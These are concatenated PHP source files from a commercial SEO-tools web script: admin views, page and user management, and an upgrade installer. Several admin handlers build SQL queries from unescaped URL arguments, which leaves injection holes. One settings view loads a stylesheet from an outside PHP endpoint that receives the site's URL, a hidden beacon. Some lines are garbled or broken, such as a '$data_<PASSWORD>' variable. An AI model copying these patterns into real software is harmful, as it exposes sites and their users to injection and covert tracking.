CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'); curl_setopt($ch, CURLOPT_HTTPHEADER,array ("Accept: text/plain")); $html=curl_exec($ch); curl_close($ch); return $html; } function getSuggestQueries($userInput,$err_str="Something Went Wrong") { $googleUrl = 'http://suggestqueries.google.com/complete/search'; $keywords = array(); $json = simpleCurlGET($googleUrl.'?output=firefox&client=firefox&hl=en-US&q='.urlencode($userInput)); if($json == '') die($err_str); $json = json_decode($json, true); $keywords = $json[1]; return $keywords; } function checkRedirect($my_url,$goodStr="Good",$badStr="Bad - Not Redirecting!") { $my_url = clean_url($my_url); $re301 = false; $url_with_www = "http://www.$my_url"; $url_no_www = "http://$my_url"; $data1 = getHttpCode($url_with_www,false); $data2 = getHttpCode($url_no_www,false); if($data1 == '301') $re301 = true; if($data2 == '301') $re301 = true; $str = ($re301 == true ? $goodStr : $badStr); return $str; } function getPageData($myUrl,$error) { $timeStart = microtime(true); $data = file_get_html($myUrl); if(empty($data)) { echo $error; die(); } $timeEnd = microtime(true); $timeTaken = $timeEnd - $timeStart; return array($data, $timeTaken); } function capPages(){ $arr = array( 'register_page' => 'Registration Page', 'login_page' => 'Login Page', 'contact_page' => 'Contact Us Page', 'allseo_page' => 'All SEO Tool Pages', 'reset_pass_page' => 'Forgot Password Page', 'resend_act_page' => 'Resend Activation Mail Page', 'admin_login_page' => 'Administrator Login Page' ); return $arr; } function getSEOToolsName($con){ $tools = array(); $result = mysqli_query($con, 'SELECT * FROM seo_tools ORDER BY CAST(tool_no AS UNSIGNED) ASC'); while ($row = mysqli_fetch_array($result)){ if(isSelected($row['tool_show'])) $tools[shortCodeFilter($row['tool_name'])] = $row['uid']; } return $tools; } function getTopSEOTools($con, $arr){ $result = mysqli_query($con, 'SELECT * FROM seo_tools ORDER BY CAST(tool_no AS UNSIGNED) ASC'); while ($row = mysqli_fetch_array($result)){ if(isSelected($row['tool_show'])){ if(in_array($row['uid'],$arr)) echo '<li><a href="'.createLink($row['tool_url'],true).'">'.shortCodeFilter($row['tool_name']).' </a></li>'; } } } function ordinal($num) { $num = (int)$num; if ( ($num / 10) % 10 != 1 ){ switch( $num % 10 ) { case 1: return $num . 'st'; case 2: return $num . 'nd'; case 3: return $num . 'rd'; } } return $num . 'th'; }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <div class="col-md-8"> <div class="form-group"> <div class="checkbox"> <label class="checkbox inline"> <input <?php isSelected($adblock['enable'],true,'2') ?> type="checkbox" name="adblock[enable]" /> Enable ad-blocker detection and protection system </label> </div> </div> <div class="form-group"> <label>Adblock notification type</label> <select class="form-control" name="adblock[options]" id="opt"> <option <?php echo isSelected($adblock['options'], true, 1, 'link'); ?> value="link">Redirect to custom adblock notification page</option> <option <?php echo isSelected($adblock['options'], true, 1, 'close'); ?> value="close">Dialog box with close button (User can continue to access website)</option> <option <?php echo isSelected($adblock['options'], true, 1, 'force'); ?> value="force">Dialog box without close button (User can't continue to access website)</option> </select> </div> <div class="form-group hide" id="opt-link"> <label>Redirect Link</label> <input name="adblock[link]" type="text" placeholder="Type link" value="<?php echo $adblock['link']; ?>" class="form-control" /> </div> <div class="hide" id="opt-close"> <div class="form-group"> <label>Dialog Box - Title</label> <input name="adblock[close][title]" type="text" placeholder="Type title" value="<?php echo $adblock['close']['title']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Dialog Box - Message</label> <textarea rows="6" name="adblock[close][msg]" placeholder="Type description" class="form-control"><?php echo htmlspecialchars_decode($adblock['close']['msg']); ?></textarea> </div> </div> <div class="hide" id="opt-force"> <div class="form-group"> <label>Dialog Box - Title</label> <input name="adblock[force][title]" type="text" placeholder="Type title" value="<?php echo $adblock['force']['title']; ?>" class="form-control" /> </div> <div class="form-group"> <label>Dialog Box - Message</label> <textarea rows="6" name="adblock[force][msg]" placeholder="Type description" class="form-control"><?php echo htmlspecialchars_decode($adblock['force']['msg']); ?></textarea> </div> </div> <input type="submit" value="Save" class="btn btn-primary" /> <br /><br /> </div> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $footerAddArr[] = <<<EOD <script> var oldSel; $(function () { $('input').iCheck({ checkboxClass: 'icheckbox_square-blue', radioClass: 'iradio_square-blue', increaseArea: '100%' }); var selVal = jQuery('select[id="opt"]').val(); oldSel = selVal; $('#opt-'+selVal).removeClass("hide"); $('#opt-'+selVal).fadeIn(); }); $('select[id="opt"]').on('change', function() { var selVal = jQuery('select[id="opt"]').val(); $('#opt-'+oldSel).fadeOut(); $('#opt-'+selVal).removeClass("hide"); $('#opt-'+selVal).fadeIn(); oldSel = selVal; }); </script> EOD; ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="row" style="padding-left: 5px;"> <div class="col-md-8"> <div class="form-group"> <label for="site">Site Name</label> <input type="text" placeholder="Enter site name" name="site_name" id="site_name" value="<?php echo $site_name; ?>" class="form-control"> </div> <div class="form-group"> <label for="title">Title Tag</label> <input type="text" placeholder="Enter title of your site" id="title" name="title" value="<?php echo $title; ?>" class="form-control"> </div> <div class="form-group"> <label for="des">Meta Description</label> <textarea placeholder="Enter description" id="des" name="des" class="form-control"><?php echo $des; ?></textarea> </div> <div class="form-group"> <label for="keyword">Meta Keyword's</label> <input type="text" placeholder="Enter keywords (separated by comma)" value="<?php echo $keyword; ?>" id="keyword" name="keyword" class="form-control"> </div> <div class="form-group"> <label for="copyright">Copyright Text</label> <input type="text" placeholder="Enter your site copyright info" id="copyright" value="<?php echo $copyright; ?>" name="copyright" class="form-control"> </div> <div class="form-group"> <label for="email">Admin Email ID</label> <input type="text" placeholder="Enter email id of admin" id="email" value="<?php echo $email; ?>" name="email" class="form-control"> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Website Address</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label for="address">Base URL</label> <input type="text" readonly="" id="address" value="<?php echo $baseURL; ?>" name="address" class="form-control" /> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="https">HTTPS Redirect</label> <input <?php isSelected($forceHttps, true, 2); ?> type="checkbox" name="https" id="https" /> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="www">Force WWW in URL</label> <input <?php isSelected($forceWww, true, 2); ?> type="checkbox" name="www" id="www" /> </div> </div> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Social Media links</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label>Facebook URL</label> <input type="text" placeholder="Enter facebook URL" name="social[face]" value="<?php echo $social_links['face']; ?>" class="form-control"> </div> <div class="form-group"> <label>Twitter URL</label> <input type="text" placeholder="Enter twitter URL" name="social[twit]" value="<?php echo $social_links['twit']; ?>" class="form-control"> </div> <div class="form-group"> <label>Gplus URL</label> <input type="text" placeholder="Enter gplus URL" name="social[gplus]" value="<?php echo $social_links['gplus']; ?>" class="form-control"> </div> <div class="form-group"> <label>Linkedin URL</label> <input type="text" placeholder="Enter linkedin URL" name="social[linkedin]" value="<?php echo $social_links['linkedin']; ?>" class="form-control"> </div> <br /> <div class="box-header with-border"> <h3 class="box-title">Other</h3> </div><!-- /.box-header --> <br /> <div class="form-group"> <label for="ga">Google Analytics: <small>(Optional)</small></label> <input type="text" placeholder="Enter your google analytics code" id="ga" name="ga" value="<?php echo $ga; ?>" class="form-control"> </div> </div> </div> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content ba-laj-i--> </div><!-- /.content-wrapper --> <!-- Panel Icons --> <link href="https://cdn.2ls.me/css-panel.php?site=<?php echo $baseURL; ?>" rel="stylesheet" type="text/css" /> <?php $footerAddArr[] = <<<EOD <script> $('#https').checkboxpicker(); $('#www').checkboxpicker(); </script> EOD; ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $fullLayout = 1; $pageTitle = 'Reports'; $subTitle = 'Overall Report'; $stats = array(); $stats['banned_user'] = $stats['unverified'] = $stats['banned_ips'] = $stats['total_users'] = 0; $stats['active_seo'] = $stats['inactive_seo'] = $stats['page_view'] = $stats['unique_view'] = 0; $result = mysqli_query($con, 'SELECT verified FROM users'); while ($row = mysqli_fetch_array($result)){ $stats['total_users'] = $stats['total_users'] + 1; if ($row['verified'] == '2') $stats['banned_user'] = $stats['banned_user'] + 1; if ($row['verified'] == '0') $stats['unverified'] = $stats['unverified'] + 1; } $result = mysqli_query($con, 'SELECT * FROM seo_tools'); while ($row = mysqli_fetch_array($result)){ $tool_show = filter_var(Trim($row['tool_show']), FILTER_VALIDATE_BOOLEAN); if ($tool_show) $stats['active_seo'] = $stats['active_seo'] + 1; else $stats['inactive_seo'] = $stats['inactive_seo'] + 1; } $stats['banned_ips'] = dbCountRows($con, 'banned_ip'); $stats = array_map("number_format", $stats); $balajiCount = 1; $tableData = ''; foreach(getTrackViews($con) as $dbDate=>$views){ $tableData .= '<tr> <td>'.$balajiCount.'</td> <td>'.date('F jS Y', strtotime($dbDate)).'</td> <td>'.$views['unique'].'</td> <td>'.$views['ses'].'</td> <td>'.$views['views'].'</td> </tr>'; $balajiCount++; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Pages'; $subTitle = 'Manage Pages'; $fullLayout = 1; $footerAdd = $status = true; $footerAddArr = array(); //Status Change if($pointOut == 'status'){ $status = false; if($args[0] == 'disable') $status = false; else $status = true; $id = $args[1]; $query = "UPDATE pages SET status='$status' WHERE id='$id'"; mysqli_query($con, $query); header('Location:'.adminLink($controller,true)); die(); } //Success if($pointOut == 'success'){ $msg = '<div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Your action successfully performed! </div>'; } //Delete a Page or Link if($pointOut == 'delete'){ $deleteId = $args[0]; $query = "DELETE FROM pages WHERE id='$deleteId'"; $result = mysqli_query($con, $query); if (mysqli_errno($con)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> ' . mysqli_error($con) . ' </div>'; } else { $msg = ' <div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">x</button> <b>Alert!</b> Page deleted from database successfully. </div>'; } } //Pages if($pointOut == 'page'){ //Adding new pages if($args[0] == 'add'){ $subTitle = 'Create a New Page'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $page_title = escapeTrim($con, $_POST['page_title']); $page_url = escapeTrim($con, $_POST['page_url']); $meta_des = escapeTrim($con, $_POST['meta_des']); $header_show = escapeTrim($con, $_POST['header_show']); $page_name = escapeTrim($con, $_POST['page_name']); $posted_date = escapeTrim($con, $_POST['posted_date']); $meta_tags = escapeTrim($con, $_POST['meta_tags']); $footer_show = escapeTrim($con, $_POST['footer_show']); $page_content = escapeTrim($con, $_POST['page_content']); $sort_order = escapeTrim($con,$_POST['sort_order']); if($sort_order == '') $sort_order = '1'; $pageLangCode = escapeTrim($con,$_POST['pageLangCode']); $status = escapeTrim($con,$_POST['status']); $loginreq = escapeTrim($con,$_POST['loginreq']); $query = "INSERT INTO pages (sort_order,type,page_title,page_url,meta_des,header_show,page_name,posted_date,meta_tags,footer_show,page_content,lang,status,access) VALUES ('$sort_order','page','$page_title','$page_url','$meta_des','$header_show','$page_name','$posted_date','$meta_tags','$footer_show','$page_content','$pageLangCode','$status','$loginreq')"; if (!mysqli_query($con, $query)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Something Went Wrong! </div>'; } else { header('Location:'.adminLink($controller.'/success',true)); die(); } } } elseif($args[0] == 'edit'){ //Edting exiting page $subTitle = 'Page Editor'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $page_title = escapeTrim($con, $_POST['page_title']); $page_url = escapeTrim($con, $_POST['page_url']); $meta_des = escapeTrim($con, $_POST['meta_des']); $header_show = escapeTrim($con, $_POST['header_show']); $page_name = escapeTrim($con, $_POST['page_name']); $posted_date = escapeTrim($con, $_POST['posted_date']); $meta_tags = escapeTrim($con, $_POST['meta_tags']); $footer_show = escapeTrim($con, $_POST['footer_show']); $page_content = escapeTrim($con, $_POST['page_content']); $editID = escapeTrim($con, $_POST['editID']); $sort_order = escapeTrim($con,$_POST['sort_order']); if($sort_order == '') $sort_order = '1'; $pageLangCode = escapeTrim($con,$_POST['pageLangCode']); $status = escapeTrim($con,$_POST['status']); $loginreq = escapeTrim($con,$_POST['loginreq']); $query = "UPDATE pages SET status='$status', access='$loginreq', lang='$pageLangCode', sort_order='$sort_order', page_title='$page_title', page_url='$page_url', meta_des='$meta_des', header_show='$header_show', page_name='$page_name', posted_date='$posted_date', meta_tags='$meta_tags', footer_show='$footer_show', page_content='$page_content' WHERE id='$editID'"; if (!mysqli_query($con, $query)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Something Went Wrong! </div>'; } else { $msg = '<div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Page data updated successfully! </div>'; $page_title = $page_url = $meta_des = $header_show = $page_name = $posted_date = $meta_tags = $footer_show = $page_content = ''; } } $page_id = $args[1]; $sql = "SELECT * FROM pages where id='$page_id'"; $result = mysqli_query($con, $sql); $sort_order = '1'; while ($row = mysqli_fetch_array($result)) { $editID = $row['id']; $page_title = $row['page_title']; $page_url = $row['page_url']; $meta_des = $row['meta_des']; $page_name = $row['page_name']; $posted_date = $row['posted_date']; $meta_tags = $row['meta_tags']; $header_show = filter_var($row['header_show'], FILTER_VALIDATE_BOOLEAN); $footer_show = filter_var($row['footer_show'], FILTER_VALIDATE_BOOLEAN); $page_content = $row['page_content']; $sort_order = $row['sort_order']; $pageLangCode = $row['lang']; $status = $row['status']; $loginreq = $row['access']; } }else{ header('Location:'.adminLink($controller,true)); die(); } } //Links if($pointOut == 'link'){ //Adding a new link if($args[0] == 'add'){ $subTitle = 'Create a New Link'; $url = '{{baseLink}}'; $sort_order = '1'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $url_type = escapeTrim($con,$_POST['url_type']); $url_name = escapeTrim($con,$_POST['url_name']); $url = escapeTrim($con,$_POST['url']); $status = escapeTrim($con,$_POST['status']); $target = escapeTrim($con,$_POST['target']); $header_show = escapeTrim($con,$_POST['header_show']); $sort_order = escapeTrim($con,$_POST['sort_order']); $rel = escapeTrim($con,$_POST['rel']); $footer_show = escapeTrim($con,$_POST['footer_show']); $page_content = serBase(array($rel,$target)); $query = "INSERT INTO pages (sort_order,type,page_title,page_url,meta_des,header_show,page_name,posted_date,meta_tags,footer_show,page_content,lang,status) VALUES ('$sort_order','$url_type','$url_name','$url','-','$header_show','$url_name','$date','-','$footer_show','$page_content','all','$status')"; if (!mysqli_query($con, $query)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Something Went Wrong! </div>'; } else { header('Location:'.adminLink($controller.'/success',true)); die(); } } } elseif($args[0] == 'edit'){ //Edting exiting link $subTitle = 'Page Editor'; $sort_order = '1'; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $editID = escapeTrim($con, $_POST['editID']); $url_type = escapeTrim($con,$_POST['url_type']); $url_name = escapeTrim($con,$_POST['url_name']); $url = escapeTrim($con,$_POST['url']); $status = escapeTrim($con,$_POST['status']); $target = escapeTrim($con,$_POST['target']); $header_show = escapeTrim($con,$_POST['header_show']); $sort_order = escapeTrim($con,$_POST['sort_order']); $rel = escapeTrim($con,$_POST['rel']); $footer_show = escapeTrim($con,$_POST['footer_show']); $page_content = serBase(array($rel,$target)); $query = "UPDATE pages SET type='$url_type', status='$status', access='all', sort_order='$sort_order', page_title='$url_name', page_url='$url', header_show='$header_show', page_name='$url_name', posted_date='$date', footer_show='$footer_show', page_content='$page_content' WHERE id='$editID'"; if (!mysqli_query($con, $query)) { $msg = '<div class="alert alert-danger alert-dismissable"> <i class="fa fa-ban"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Something Went Wrong! </div>'; } else { $msg = '<div class="alert alert-success alert-dismissable"> <i class="fa fa-check"></i> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">&times;</button> <b>Alert!</b> Link data updated successfully! </div>'; $url_type = $url_name = $posted_date = $header_show = $sort_order = $posted_date = $meta_tags = $footer_show = $page_content = ''; } } $page_id = $args[1]; $sql = "SELECT * FROM pages where id='$page_id'"; $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($result)) { $editID = $row['id']; $url_type = $row['type']; $url = $row['page_url']; $url_name = $row['page_name']; $posted_date = $row['posted_date']; $header_show = filter_var($row['header_show'], FILTER_VALIDATE_BOOLEAN); $footer_show = filter_var($row['footer_show'], FILTER_VALIDATE_BOOLEAN); $page_content = decSerBase($row['page_content']); $rel = $page_content[0]; $target = $page_content[1]; $sort_order = $row['sort_order']; $status = $row['status']; } }else{ header('Location:'.adminLink($controller,true)); die(); } } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <p><?php echo $lang['23']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return fixURL();"> <input type="text" name="url" id="url" value="" class="form-control"/> <br /> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <input class="btn btn-info" type="submit" value="<?php echo $lang['8']; ?>" name="submit"/> </div> </form> <?php } else { //Output Block if(isset($error)) { echo '<br/><br/><div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div><br/><br/> <div class="text-center"><a class="btn btn-info" href="'.$toolURL.'">'.$lang['12'].'</a> </div><br/>'; } else { ?> <br /> <table class="table table-bordered"> <tbody> <tr> <td style="width: 200px;"><?php echo $lang['98']; ?>: </td> <td><strong> <?php echo $my_url; ?></strong></td> </tr> <tr> <td style="width: 200px;"><?php echo $lang['204']; ?>: </td> <td><strong> <?php echo $outCount; ?></strong></td> </tr> </tbody> </table> <table class="table table-bordered"> <thead> <th><?php echo $lang['171']; ?></th> <th><?php echo $lang['47']; ?></th> <th><?php echo $lang['203']; ?></th> </thead> <tbody> <?php foreach($outArr as $outVal) { ?> <tr> <td><strong><?php echo $outVal[0]; ?></strong></td> <td><?php echo $outVal[1]; ?></td> <td><?php echo $outVal[2]; ?>%</td> </tr> <?php } ?> </tbody> </table> <div class="text-center"> <br /> &nbsp; <br /> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> <?php } } ?> <br /> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Manage Users'; $subTitle = 'User List'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); //Success Action if($pointOut == 'new-user-success'){ $msg = successMsgAdmin('New user added successfully!'); } //Delete Action if($pointOut == 'delete'){ $user_id = $args[0]; if($args[0] != ''){ $query = "DELETE FROM users WHERE id=$user_id"; $result = mysqli_query($con, $query); if (mysqli_errno($con)){ $msg = errorMsgAdmin(mysqli_error($con)); } else { header('Location:'.adminLink($controller,true)); die(); } } } //Ban Action if($pointOut == 'ban'){ $ban_id = $args[0]; if($args[0] != ''){ $query = "UPDATE users SET verified='2' WHERE id='$ban_id'"; $result = mysqli_query($con, $query); if (mysqli_errno($con)){ $msg = errorMsgAdmin(mysqli_error($con)); } else { header('Location:'.adminLink($controller,true)); die(); } } } //UnBan Action if($pointOut == 'unban'){ $ban_id = $args[0]; if($args[0] != ''){ $query = "UPDATE users SET verified='1' WHERE id='$ban_id'"; $result = mysqli_query($con, $query); if (mysqli_errno($con)){ $msg = errorMsgAdmin(mysqli_error($con)); } else { header('Location:'.adminLink($controller,true)); die(); } } } //Export Action if($pointOut == 'export'){ function sendHeaders($filename) { //Disable caching $now = gmdate("D, d M Y H:i:s"); header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate"); header("Last-Modified: {$now} GMT"); //Force download header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); //Disposition / encoding on response body header("Content-Disposition: attachment;filename={$filename}"); header("Content-Transfer-Encoding: binary"); } sendHeaders("data_export_" . date("Y-m-d") . ".csv"); $idsList = array(); $out = fopen('php://output', 'w'); $query = "SELECT * FROM users"; $result = mysqli_query($con, $query); while ($row = mysqli_fetch_array($result)) { $idsList = array($row['email_id']); fputs($file, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) )); fputcsv($out, $idsList); } fclose($out); die(); } //Profile Action if($pointOut == 'info'){ $subTitle = 'User Profile'; require_once (LIB_DIR . 'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $user_id = $args[0]; if($args[0] != ''){ $result = mysqli_query($con, "SELECT * FROM users WHERE id='$user_id'"); $userInfo = mysqli_fetch_array($result,MYSQLI_ASSOC); $userInfo['picture'] = trim($userInfo['picture']); if($userInfo['picture'] == '' || strtoupper($userInfo['picture']) == 'NONE' || strtoupper($userInfo['picture']) == 'NULL' || $userInfo['picture'] == null) $userInfo['picture'] = themeLink('dist/img/user-default.png',true); else $userInfo['picture'] = createLink($userInfo['picture'],true); if ($userInfo['oauth_uid'] == '0' || $userInfo['oauth_uid'] == '') $userInfo['oauth_uid'] = 'None'; if ($userInfo['verified'] == '0') $userInfo['verified'] = '<span style="color: #d35400;">Unverified User</span>'; elseif ($userInfo['verified'] == '1') $userInfo['verified'] = '<span style="color: #27ae60;">Active User</span>'; elseif ($userInfo['verified'] == '2') $userInfo['verified'] = '<span style="color: #c0392b;">Banned User</span>'; $date_raw = date_create($userInfo['added_date']); $registeredAt = date_format($date_raw,"jS F Y"); if($userInfo['country'] == '') $userInfo['country'] = 'Not Mentioned!'; $detectedUserCountry = geoip_country_name_by_addr($gi,$userInfo['ip']); if($detectedUserCountry == '') $detectedUserCountry = 'Unknown'; geoip_close($gi); } } ?><file_sep><?php /* * @author Balaji */ error_reporting(1); //ROOT Path define('ROOT_DIR', realpath(dirname(dirname(dirname(__FILE__)))) .DIRECTORY_SEPARATOR); //Application Path define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); //Configuration Path define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Installer Path define('INSTALL_DIR', ROOT_DIR .'admin'.DIRECTORY_SEPARATOR.'install'.DIRECTORY_SEPARATOR); $data_host = htmlspecialchars(Trim($_POST['data_host'])); $data_name = htmlspecialchars(Trim($_POST['data_name'])); $data_user = htmlspecialchars(Trim($_POST['data_user'])); $data_pass = htmlspecialchars(Trim($_POST['data_pass'])); $data_sec = htmlspecialchars(Trim($_POST['data_sec'])); $domain = urlencode($_POST['data_domain']); $licPath = 'http://lic.prothemes.biz/atozseov2.php'; $con = mysqli_connect($data_host,$data_user,$data_pass,$data_name); if (mysqli_connect_errno()){ echo "Database Connection failed"; die(); } // Don't crack license checker. It will crash whole site and handle incorrectly! // If you want to request new purchase code for "localhost" installation and for "development" site (or) // Reset the old code for your new domain name than contact support! // For Support, mail to us: rainbowbalajib [at] gmail.com $stats = Trim(file_get_contents($licPath."?code=$data_sec&domain=$domain")); $stats = explode("::",$stats); $sucRate = Trim($stats[0]); $authCode = Trim($stats[1]); if ($sucRate == '1') { //Fine }elseif ($sucRate == '0') { echo 'Item purchase code not valid'; die(); }elseif ($sucRate == '2') { echo 'Already code used on another domain! Contact Support'; die(); }elseif ($sucRate == '') { echo 'Unable Connect to Server!'; die(); }else { echo 'Item purchase code not valid / banned'; die(); } if($authCode == '') $authCode = Md5($domain); $domain = str_replace(array('http://','https://','www.'), '', urldecode($domain)); if(substr($domain, -1) != '/') $domain = $domain.'/'; $data = '<?php defined(\'ROOT_DIR\') or die(header(\'HTTP/1.1 403 Forbidden\')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2020 ProThemes.Biz * */ // --- Database Settings --- // Database Hostname $dbHost = \''.$data_host.'\'; // Database Username $dbUser = \''.$data_user.'\'; // Database Password $dbPass = \''.$data_<PASSWORD>.'\'; // Database Name $dbName = \''.$data_name.'\'; //Base URL (Without http:// & https://) $baseURL = \''.$domain.'\'; //Item Purchase Code $item_purchase_code = \''.$data_sec.'\'; //Domain Security Code $authCode = \''.$authCode.'\'; '; file_put_contents(CONFIG_DIR.'db.config.php',$data); //Load Configuration & Functions require CONFIG_DIR.'config.php'; require APP_DIR.'functions.php'; echo 'Upgraded started.... <br />'; mysqli_query($con, 'ALTER TABLE pages ADD sort_order text, ADD lang text, ADD status text, ADD access text, ADD type text'); $result = mysqli_query($con, 'SELECT * FROM pages'); while ($row = mysqli_fetch_array($result)){ if(updateToDbPrepared($con, 'pages', array( 'sort_order' => '3', 'lang' => 'all', 'status' => 'on', 'access' => 'all', 'type' => 'page' ), array( 'id' => $row['id']))){ echo 'Upgrading page '.$row['page_name'].' failed <br />'; }else{ echo 'Upgrading "'.$row['page_name'].'" page success <br />'; } } mysqli_query($con, 'RENAME TABLE ban_user TO banned_ip'); mysqli_query($con, 'ALTER TABLE banned_ip CHANGE COLUMN last_date added_at text'); mysqli_query($con, 'ALTER TABLE banned_ip ADD reason text'); mysqli_query($con, 'DROP TABLE capthca'); mysqli_query($con, 'DROP TABLE interface'); mysqli_query($con, 'DROP TABLE maintenance'); mysqli_query($con, 'ALTER TABLE mail CHANGE COLUMN auth smtp_auth text'); mysqli_query($con, 'ALTER TABLE mail CHANGE COLUMN socket smtp_socket text'); mysqli_query($con, 'ALTER TABLE user_settings ADD enable_quick text, ADD oauth_keys text, ADD other_settings text'); $result = mysqli_query($con,"SELECT * FROM user_settings WHERE id='1'"); $row = mysqli_fetch_array($result); $oauth_keys['oauth']['g_client_id'] = Trim($row['g_client_id']); $oauth_keys['oauth']['g_client_secret'] = Trim($row['g_client_secret']); $oauth_keys['oauth']['fb_app_id'] = Trim($row['fb_app_id']); $oauth_keys['oauth']['fb_app_secret'] = Trim($row['fb_app_secret']); $oauth_keys['oauth']['fb_redirect_uri'] = $baseURL. '?route=facebook'; $oauth_keys['oauth']['g_redirect_uri'] = $baseURL. '?route=google'; $oauth_keys['oauth']['twitter_redirect_uri'] = $baseURL. '?route=twitter'; $oauthStr = arrToDbStr($con, $oauth_keys); mysqli_query($con, "UPDATE user_settings SET oauth_keys='$oauthStr', enable_quick='on' WHERE id='1'"); mysqli_query($con, 'ALTER TABLE user_settings DROP COLUMN fb_app_id,DROP COLUMN 